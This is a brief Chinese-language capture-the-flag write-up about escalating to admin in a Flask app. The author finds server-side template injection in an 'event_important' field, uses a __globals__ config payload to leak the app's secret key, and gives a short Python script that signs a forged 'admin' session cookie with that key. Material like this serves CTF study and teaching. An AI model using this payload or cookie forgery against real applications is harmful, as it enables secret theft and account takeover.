很明显要让我们伪造一个admin
开始看到这里以为是个xss,测试无果
注意他的cookie是三段式
那么这题的思路就是尝试篡改cookie来提权
有一个思路 利用SSTI模板注入 获取秘钥,然后重新生成签名cookie
测试模板注入
最终发现
event_important存在模板注入
尝试模板注入测试
具体过程如下
https://xz.aliyun.com/t/5399#toc-1
读取配置文件
__class__.__init__.__globals__[app].config
接着伪造签名即可
exp
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()